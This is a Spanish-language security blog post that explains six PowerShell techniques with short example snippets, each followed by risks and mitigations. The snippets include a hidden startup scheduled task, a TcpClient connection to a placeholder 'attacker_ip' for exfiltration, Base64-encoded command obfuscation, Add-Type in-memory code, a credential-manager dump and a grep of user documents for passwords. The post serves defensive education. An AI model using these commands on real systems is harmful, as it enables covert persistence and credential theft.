# Técnicas Avanzadas de Persistencia, Ofuscación y Acceso en PowerShell: Análisis y Medidas de Defensa

- Link: https://binariocero.com/windows/tecnicas-avanzadas-de-persistencia-ofuscacion-y-acceso-en-powershell-analisis-y-medidas-de-defensa
- Published: 2025-12-10T14:23:48+01:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

PowerShell continúa siendo una herramienta fundamental tanto para la administración
como para las operaciones ofensivas de actores maliciosos y red teams. Su nivel 
de integración con Windows, junto con su capacidad para interactuar con .NET, programar
tareas, acceder a la red y manipular archivos o credenciales, lo convierten en un
componente crítico dentro del panorama de seguridad.

A continuación se presentan varias técnicas empleadas para persistencia, ofuscación
y extracción de información, junto con sus riesgos y contramedidas recomendadas.

## 1. Persistencia mediante tareas programadas

**Ejemplo:**

    ```wp-block-code
    $action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'
    $trigger = New-ScheduledTaskTrigger -AtStartup
    Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'
    ```

La creación de tareas programadas es una de las formas más comunes y duraderas de
establecer persistencia. Permite que un comando, script o payload se ejecute automáticamente
en cada reinicio del sistema.

**Riesgos**

 * Permite persistencia incluso tras reinicios.
 * La ejecución oculta (`-WindowStyle Hidden`) dificulta su detección visual.
 * Puede ejecutarse con privilegios elevados si se configura adecuadamente.

**Mitigación**

 * Revisar regularmente tareas programadas con `Get-ScheduledTask`.
 * Utilizar herramientas como Autoruns para identificar tareas sospechosas.
 * Aplicar restricciones de creación de tareas mediante políticas de grupo.

## 2. Comunicación de red encubierta

**Ejemplo:**

    ```wp-block-code
    $client = New-Object Net.Sockets.TcpClient('attacker_ip', 443)
    $stream = $client.GetStream()
    # Enviar y recibir datos
    ```

PowerShell permite instanciar objetos .NET directamente, como `TcpClient`, para 
crear canales de comunicación discretos. Este tipo de conexión puede ser usado para
exfiltración de datos o como canal de control remoto.

**Riesgos**

 * Tráfico saliente por puertos comunes (como 443) puede pasar desapercibido.
 * Puede integrarse en payloads fileless.
 * Evade herramientas que solo monitorizan procesos ejecutables, no conexiones de
   PowerShell.

**Mitigación**

 * Inspeccionar conexiones de PowerShell mediante EDR.
 * Restringir conexiones salientes a destinos desconocidos.
 * Implementar firewall interno con políticas restrictivas de egress.

## 3. Ofuscación mediante Base64

**Ejemplo:**

    ```wp-block-code
    $command = 'Get-Process'
    $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
    powershell.exe -EncodedCommand $encodedCommand
    ```

El parámetro `-EncodedCommand` permite ejecutar instrucciones codificadas en Base64,
lo que oculta su contenido en texto claro y complica su análisis inmediato.

**Riesgos**

 * Alta prevalencia en malware y scripts ofuscados.
 * Dificulta la revisión manual del comando.
 * Evade herramientas que buscan patrones comunes en texto plano.

**Mitigación**

 * Analizar parámetros de comandos de PowerShell en los logs de Script Block Logging.
 * Automatizar la decodificación de cadenas Base64 sospechosas.
 * Bloquear el uso de `-EncodedCommand` cuando no sea necesario.

## 4. Uso de Add-Type para ejecutar código .NET

**Ejemplo:**

    ```wp-block-code
    Add-Type -TypeDefinition 'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'
    [MyClass]::Run()
    ```

`Add-Type` permite compilar código .NET dinámicamente desde PowerShell. Esto puede
utilizarse para insertar código malicioso disfrazado de lógica legítima.

**Riesgos**

 * Permite ejecutar código compilado en memoria.
 * Puede esconder actividades maliciosas dentro de clases aparentemente benignas.
 * Poco monitorizado por herramientas básicas de seguridad.

**Mitigación**

 * Bloquear el uso de Add-Type mediante políticas de restricción.
 * Activar Deep Script Block Logging para registrar los cuerpos de código.
 * Revisar scripts que incluyan código .NET incrustado.

## 5. Extracción de credenciales desde el Credential Manager

**Ejemplo:**

    ```wp-block-code
    $credman = New-Object -TypeName PSCredentialManager.Credential
    $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object UserName, Password
    ```

El Manejador de Credenciales de Windows puede almacenar credenciales de múltiples
aplicaciones. PowerShell permite interactuar con esos datos mediante módulos específicos.

**Riesgos**

 * Posibilidad de exfiltrar credenciales almacenadas en texto claro o reversible.
 * Dependencia de módulos externos como `PSCredentialManager`.
 * Puede emplearse para moverse lateralmente por la red.

**Mitigación**

 * Eliminar credenciales guardadas innecesariamente.
 * Utilizar gestores de contraseñas corporativos.
 * Revisar qué módulos están instalados y restringir su uso.

## 6. Búsqueda de contraseñas en archivos no seguros

**Ejemplo:**

    ```wp-block-code
    Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive
    ```

Este comando busca la palabra “password” en documentos de usuarios, lo cual podría
revelar contraseñas almacenadas de forma insegura.

**Riesgos**

 * Exfiltración de información sensible.
 * Abuso para auditorías internas no autorizadas.
 * Frecuente en movimientos laterales y reconocimiento dentro del sistema.

**Mitigación**

 * Aplicar DLP para detectar patrones sensibles en archivos.
 * Educar a los usuarios para no almacenar credenciales en texto plano.
 * Monitorizar accesos anómalos a directorios de usuarios.

# Conclusión

Las técnicas anteriores no dependen de malware externo: son características legítimas
de PowerShell y Windows que, usadas sin control, pueden ser explotadas para persistencia,
ofuscación, exfiltración o robo de credenciales.
